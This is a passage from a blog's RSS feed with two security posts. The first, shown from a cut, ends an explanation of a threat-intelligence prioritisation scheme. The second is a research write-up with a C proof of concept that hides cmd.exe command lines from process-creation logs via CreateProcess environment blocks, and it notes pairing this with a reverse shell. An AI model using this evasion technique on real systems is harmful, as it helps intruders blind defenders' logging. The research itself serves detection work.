hours.</em></li><li><strong>MEDIUM — A Matter of Weeks</strong> — <em>Campaigns which take weeks to accomplish their end-goal provide a greater window for detecting and responding to the activity.</em></li><li><strong>LOW — A Matter of Months</strong> — <em>Campaigns which take a matter of months to accomplish are more likely to be conducted by mature threat actors who are maintaining a presence in the environment, biding their time, or maintaining persistence until another zero-day is discovered which will allow them to elevate their privileges in the environment or conduct lateral movement. These types of campaigns will also likely involve stealthier techniques and more advanced defense evasion. From a prioritization perspective, this type of campaign receives a “low” not so much because of the danger level of the campaign, but because developing defenses for these campaigns requires more time and more information; defense teams’ time would be better spent knocking out countermeasures for high-noise/small-window “smash-and-grab” type attacks before dedicating the much longer hours necessary for these types of campaigns.</em></li></ul><h3>Scoring Example Scenarios</h3><p>To demonstrate the scoring system, let’s look at a couple of scenarios we might find in a Cyber Threat Intelligence report.</p><p>For our first example, let’s imagine we have an APT that has spent weeks on a campaign with an initial access vector of spear-phishing. Their target was a company not in the same business sector as yours, but in the same country, and the campaign’s end goal was exfiltration of sensitive information. Based on this example, we have the following V.I.T.A.L. scores:</p><ul><li><strong>Vector — HIGH (3)</strong> — <em>Spear-phishing is a vector which targets the organization explicitly and requires user interaction.</em></li><li><strong>Impact — HIGH(3)</strong> — <em>Exfiltration of sensitive information falls under theft.</em></li><li><strong>Target — MEDIUM(2)</strong> — <em>The targeted organization is not your organization, nor is it in the same business sector as yours. However, it is in the same country.</em></li><li><strong>Actor — CRITICAL(4)</strong> — <em>APTs are considered critical priority actors.</em></li><li><strong>Length — MEDIUM(2)</strong> — <em>It was a matter of weeks from the campaign’s initial access to them starting to exfiltrate sensitive information. Note that if the campaign lasted weeks, but it was a matter of days before exfiltration started to occur, this would have scored a HIGH instead.</em></li><li><strong>Overall V.I.T.A.L. Threat Relevance Score — 2.8</strong> — <em>This is the average of the other scores.</em></li></ul><p>Let’s consider a second example, so we have something to compare with the above example. For this example, let’s say we have a report of a Hactivist group using wiper malware against a bank, and our own organization is in the financial sector as well. The initial access vector made use of an Exchange Server exploit and the threat actor spent a few days working on lateral movement before running their wipers. For this example, we have the following V.I.T.A.L. scores:</p><ul><li><strong>Vector — CRITICAL(4)</strong> — <em>The Exchange Server exploit in this example did not require user interaction, and was explicitly targeting the impacted organization.</em></li><li><strong>Impact — CRITICAL(4)</strong> — <em>Wipers are used for data destruction.</em></li><li><strong>Target — HIGH(3)</strong> — <em>The impacted organization is in the same sector as our own organization for this example: the financial sector.</em></li><li><strong>Actor — MEDIUM(2)</strong> — <em>Hacktivists don’t have as many resources available to them as APTs and Criminal Groups, so the number of organizations they can impact is relatively less, reducing our risk of being targeted next.</em></li><li><strong>Length — HIGH(3)</strong> — <em>The threat actors spent a few days on lateral movement before running their wiper malware. If they had ran their wiper malware as soon as the exploit was run, this would have been considered a CRITICAL.</em></li><li><strong>Overall V.I.T.A.L. Threat Relevance Score — 3.2</strong>— <em>This is the average of the other scores.</em></li></ul><p>From the two above examples, we have two different V.I.T.A.L. threat relevance scores: a 2.8 score and a 3.2 score. Using this system, you would prioritize the countermeasures and defenses related to the Hacktivist campaign in the second example as this was determined to be a more relevant and dangerous threat to your organization than the APT campaign in the first example.</p><h3>Making It More Relevant</h3><p>Using the default criticality levels for each aspect of the V.I.T.A.L. system, only the Target aspect impacts the score in a way relevant to your organization. In order to make it more relevant, your organization should assess each aspect’s rankings and evaluate if they should be re-prioritized.</p><p>If you organization has a lot of users, does not have much control over who their users are, and has historically had issues with being compromised via user interaction, then your organization may decide that the Vector aspect should be re-prioritized to something like the following:</p><ul><li>CRITICAL — Targeted Organization, User Interaction</li><li>HIGH — Not Targeted, User Interaction</li><li>MEDIUM — Targeted Organization, No User Interaction</li><li>LOW — Not Targeted, No User Interaction</li></ul><p>By way of another example, if your organization has a very tight budget and uses ephemeral sensitive data that they don’t need to keep very long, then you may choose to re-prioritize the Impact aspect to something like the following:</p><ul><li>CRITICAL — Profit</li><li>HIGH — Theft</li><li>MEDIUM — Destruction/Disruption</li><li>LOW — Presence</li></ul><p>Once your organization has accepted the default prioritizations or re-prioritized the aspects to better suit your own needs, then your organization’s Overall V.I.T.A.L. Threat Relevance Score for a threat intel report’s campaign will be even more relevant.</p><h3>Using V.I.T.A.L. in Threat Reporting</h3><p>For Cyber Threat Intelligence reports published to the public, most of this information should already be in the report, if not explicitly labeled using the V.I.T.A.L. system. If this system were to ever be explicitly used in published reports, then the report should avoid assigning either criticality or numerical priorities to the information, and instead present it in the following format:</p><pre>VECTOR: &lt;data&gt;<br>IMPACT: &lt;data&gt;<br>TARGET: ORG - &lt;org&gt;, SECTOR - &lt;sector&gt;, COUNTRY - &lt;country&gt;<br> ACTOR: &lt;data&gt;<br>LENGTH: &lt;data</pre><p>Using the second example from above, the report’s use of V.I.T.A.L. would look like this:</p><pre>VECTOR: Targeted Organization, No User Interaction<br>IMPACT: Destruction<br>TARGET: ORG - redacted, SECTOR - Financial, COUNTRY - United States<br> ACTOR: Hacktivist<br>LENGTH: Days</pre><p>From here, an organization’s Cyber Threat Intelligence analyst would take the report and apply either the default prioritization of the five aspects, or their own organization’s re-prioritization. This could be done either in verbose form or simplified form.</p><p>Verbose form would look similar to the above, but with criticality instead:</p><pre>VECTOR: Critical<br>IMPACT: Critical<br>TARGET: High<br> ACTOR: Medium<br>LENGTH: High<br>--------------------<br>Overall Threat Relevance Score: 3.2</pre><p>The simplified form would be a single line, showing only the numbers in the same order (i.e., the first number is the Vector, second is Impact, and so on):</p><pre>VITAL Relevance Score = 4|4|3|2|3 = 3.2</pre><p><strong><em>Note:</em></strong><em> If for whatever reason, there is no information on one of the aspects (i.e., such as no attributed threat actor), then that aspect should be treated as a Critical.</em></p><h3>Conclusion</h3><p>This isn’t a perfect system, and has only been vetted in table-top-esque scenarios and not in the real world. It doesn’t take into account if the campaign is historical or recent, and there may be other aspects it doesn’t take into account that it should.</p><p>But, hopefully, this system is sufficient to provide a means of taking Cyber Threat Intelligence reports and prioritizing how they are addressed in your organization. If you have any recommendations, remarks, or thoughts, please leave them in the comments!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=315c8f30ed44" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Limited Command-line Obfuscation of Cmd.exe With CreateProcess and Environment Blocks]]></title>
            <link>https://medium.com/@luke.howard.thompson/limited-command-line-obfuscation-of-cmd-exe-with-createprocess-and-environment-blocks-419bd271a8ca?source=rss-3de4f2c5714c------2</link>
            <guid isPermaLink="false">https://medium.com/p/419bd271a8ca</guid>
            <category><![CDATA[defense-evasion]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Luke Thompson]]></dc:creator>
            <pubDate>Sat, 26 Aug 2023 20:01:42 GMT</pubDate>
            <atom:updated>2023-08-26T20:01:42.686Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Disclaimer:</em></strong><em> This article is written from a security research perspective. The author is not responsible for any negative impacts as a result of this article. Be good, do good.</em></p><p>When reviewing security log information or writing alert rulesets, there are a handful of data sources that are expected to be used. MITRE’s ATT&amp;CK framework currently lists 41 such <a href="https://attack.mitre.org/datasources/">data sources</a>. In my experience at least, the most commonly used seem to be <a href="https://attack.mitre.org/datasources/DS0017/">DS0017 Command</a>, <a href="https://attack.mitre.org/datasources/DS0022/">DS0022 File</a>, and <a href="https://attack.mitre.org/datasources/DS0029/">DS0029 Network Traffic</a>.</p><p>For Command specifically, there is but a single Data Component, being Command Execution, which often include command line arguments. From a defender’s perspective, these command line arguments are used to discern intent and are often key when looking for malicious activity or conducting an incident response investigation. There are a myriad of ways to obfuscate command line arguments, but in order to use most common programs already existing on the machine, especially when <a href="https://lolbas-project.github.io/">living off the land</a>, you can’t really get around needing to use the command line.</p><p>Environment variables and the command line are nothing new to cybersecurity. Most discussions surrounding this topic involve not storing sensitive information in environment variables or using environment variables as a means of <a href="https://attack.mitre.org/techniques/T1027/010/">T1027.010 Command Obfuscation</a>. For the latter, this can be done either by abusing existing environment variables, such as using <em>%COMSEC%</em> instead of <em>cmd.exe</em>, or by creating environment variables in a shell and referencing them later.</p><p>But what about passing environment variable directly to the <em>CreateProcess</em> call? For commands which parse their own command line for environment variable aliases (such as <em>cmd.exe</em>), this can be a stealthy way to hide the command-line from the command-line.</p><h3>Hiding The Cmd.exe Command-line From The Command-line</h3><p>Microsoft’s documentation on the <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa">CreateProcessA</a> function shows the following:</p><pre>BOOL CreateProcessA(<br>  [in, optional]      LPCSTR                lpApplicationName,<br>  [in, out, optional] LPSTR                 lpCommandLine,<br>  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,<br>  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,<br>  [in]                BOOL                  bInheritHandles,<br>  [in]                DWORD                 dwCreationFlags,<br>  [in, optional]      LPVOID                lpEnvironment,<br>  [in, optional]      LPCSTR                lpCurrentDirectory,<br>  [in]                LPSTARTUPINFOA        lpStartupInfo,<br>  [out]               LPPROCESS_INFORMATION lpProcessInformation<br>);</pre><p>Of particular interest is the <em>lpEnvironment</em> variable, which allows us to specify a custom environment block, or, if <em>NULL</em>, have the process inherit the environment of the calling process. By controlling this, we can specify command line parameters in environment variables in the code itself, without ever making use of the command line to do so.</p><p>In fact, Microsoft already has a <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/changing-environment-variables">nice little page</a> on how to modify environment variables in the code. By taking the code from the page and tweaking it a little bit, we get a proof-of-concept of using this technique to pass command-line argument without using the command-line to set the environment variable:</p><pre>// Largely based on https://learn.microsoft.com/en-us/windows/win32/procthread/changing-environment-variables<br>#include &lt;windows.h&gt;<br>#include &lt;tchar.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;strsafe.h&gt;<br><br>#define BUFSIZE 4096<br><br>int _tmain()<br>{<br>    DWORD dwFlags=0;<br>    TCHAR chNewEnv[BUFSIZE];<br>    LPTSTR lpszCurrentVariable;<br>    STARTUPINFO si;<br>    PROCESS_INFORMATION pi;<br>    BOOL bSuccess;<br><br>    // Copy environment strings into an environment block.<br>    lpszCurrentVariable = (LPTSTR) chNewEnv;<br><br>    if (FAILED(StringCchCopy(lpszCurrentVariable, BUFSIZE, TEXT(&quot;comline=echo process&quot;))))<br>    {<br>        printf(&quot;String copy failed\n&quot;); <br>        return FALSE;<br>    }<br>    lpszCurrentVariable += lstrlen(lpszCurrentVariable)+1;<br><br>    *lpszCurrentVariable = (TCHAR)0;<br><br>    // Create the child process, specifying a new environment block<br>    SecureZeroMemory(&amp;si, sizeof(STARTUPINFO));<br>    si.cb = sizeof(STARTUPINFO);<br><br>    #ifdef UNICODE<br>        dwFlags = CREATE_UNICODE_ENVIRONMENT;<br>    #endif<br><br>    bSuccess = CreateProcess(NULL, TEXT(&quot;C:\\Windows\\System32\\cmd.exe /c %comline%&quot;), NULL, NULL, TRUE, dwFlags, (LPVOID) chNewEnv, NULL, &amp;si, &amp;pi);<br>    WaitForSingleObject(pi.hProcess, INFINITE);<br><br>    return TRUE;<br>}</pre><p>When running the above code, the Sysmon tool only sees <em>C:\Windows\System32\cmd.exe /c %comline%</em> as the command-line, whereas the command prompt prints out the word “process” and exits, as intended.</p><p>Information like the parent process, process name, and child processes (and command-lines) are still readily available for defenders to utilize. The actual content of the <em>cmd.exe</em>’s command-line is obscured, however.</p><h3>But what can you do with it?</h3><p>Obscuring the command-line isn’t just obfuscating the command-line in such a way that defenders and incident response investigators can piece together what happened. It’s more akin to <a href="https://attack.mitre.org/techniques/T1562/003/">T1562.003 Impair Command History Logging</a>, where the command-line isn’t recorded properly, but instead of impairing the command history file, <strong>you’re impairing the process creation logs</strong>, at least for <em>cmd.exe</em>.</p><p>Since this technique is limited to <em>cmd.exe</em> (or any other programs which parse their own command-line for environment variable aliases), and any spawned child processes will have their command-line unimpaired, the scope of usefulness is really just limited to <a href="https://ss64.com/nt/syntax-internal.html">cmd.exe’s built-in commands</a>, the most useful of which are listed:</p><pre>ASSOC - Change file extension associations<br>CD/CHDIR - Change directory<br>COPY - Copy one or more files to another location<br>DATE - Display or set the date<br>DEL/ERASE - Delete one or more files<br>DIR - Display a list of files and folders<br>FOR - Conditionally perform a command several times<br>MD - Create a new Directory<br>MKLINK - Create a symbolic link (linkd)<br>MOVE - Move files from one folder to another<br>POPD - Return to a previous directory saved by PUSHD<br>PUSHD - Save and then change the current directory<br>RD - Delete a Directory<br>REN - Rename a file or files<br>RMDIR - Delete a Directory<br>SET - Display, set, or remove session environment variables<br>TIME - Display or set the system time<br>TYPE - Display the contents of a text file<br>VOL - Display a disk label</pre><p>The impact of these commands is largely file system based, and a good EDR will detect file modifications, further restricting the scope of defense evasion to:</p><ul><li>Changing file extension associations <em>(possibly detected via registry modifications)</em></li><li>Changing the date</li><li>Directory walking</li><li>Viewing the contents of files <em>(which some EDRs may still note)</em></li></ul><p>Directory walking and viewing the contents of files are pretty easy for programs to do, though, so there is very little reason for them to be done in this manner.</p><p>Beyond the above, there may be a usecase for hiding logic flows if you have a command-line making use of a lot of IF and/or FOR commands. The child processes spawned will still be completely visible to defenders, but this technique would prevent them from seeing the logic behind the activity. If this technique were paired with a reverse shell such that a command-line and environment variables were passed to the client, this would also prevent the logic behind the activity from being seen in file-analysis, residing only in memory and network traffic.</p><h3>Conclusion</h3><p>This started out as a project to test if environment variables could be passed directly to <em>CreateProcess</em> and then used in the command-line as a means of hiding the command-line for all processes. I quickly found out that converting an environment variable’s alias to its value isn’t handled by <em>CreateProcess</em> but instead by the process being created, and in very limited testing <em>cmd.exe</em> is the only one I’ve found so far which does this.</p><p>While the scope of capability is significantly less than what I had anticipated starting out, I would count this as a good learning experience and getting me started on a track to work towards becoming a security researcher in the future. Also, anyone in the future with a similar idea will have a starting point if they want to save the time looking into this or perhaps take it further.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=419bd271a8ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>